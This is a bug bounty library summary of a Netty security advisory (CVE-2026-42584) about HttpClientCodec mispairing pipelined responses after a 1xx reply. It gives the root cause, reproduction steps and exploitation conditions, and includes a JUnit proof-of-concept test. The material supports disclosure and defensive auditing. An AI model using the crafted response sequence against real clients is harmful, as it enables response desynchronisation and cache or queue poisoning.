# Netty has HttpClientCodec response desynchronization

Netty HttpClientCodec pairs pipelined responses to requests by queue order, so a 1xx plus HEAD causes the GET body to be parsed as the next response.

- Payout: Research
- Severity: high
- Program: Netty
- Found by: violetagg
- Disclosed: 2026-05-07
- CVE: CVE-2026-42584
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-57rv-r2g8-2cj3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-57rv-r2g8-2cj3
- Tags: area:devices domain:network impact:dos impact:integrity kind:research platform:ghsa sev:high tech:java technique:source-review vuln:request-smuggling

**Target:** HttpClientCodec HTTP/1.1 response parser
**Root cause:** The codec polls one request from the queue per inbound response, including 1xx informational responses, so a 103 shifts pairing and the HEAD rule then skips a body that belongs to the preceding GET.
**Steps:**
1. Pipeline two requests: `GET /1` then `HEAD /2` via HttpClientCodec.
2. Server replies `HTTP/1.1 103 Early Hints`, then `HTTP/1.1 200 OK` with `Content-Length: 5` and body `hello`, then `HTTP/1.1 200 OK` for HEAD.
3. The 103 consumes the GET's queue slot; the first 200 is paired with HEAD, whose rule skips reading the 5-byte body.
4. The leftover `hello` bytes desynchronize the stream, so the final 200 is parsed from the wrong offset and the decoder result fails.
**How found:** Code reading of the pairing logic: noticing `queue.poll()` runs once per response including 1xx, then reasoning that a HEAD following a GET would skip the GET's entity bytes.
**Exploitation:** Requires HTTP/1.1 pipelining, a HEAD request in the pipeline, and a server emitting 1xx. The desynchronized stream lets one response's body be interpreted as another's, enabling response splitting/queue poisoning on the reused socket.
**Insight:** When auditing HTTP client codecs, check whether informational (1xx) responses consume request-pairing state and whether body-skip rules (HEAD, 204, 304) are applied to the correct paired request; a single mismatched poll desynchronizes the whole pipeline.

## Proof of concept (copied exactly from the original report)

**JUnit test proving response desynchronization**

```
@Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }
```

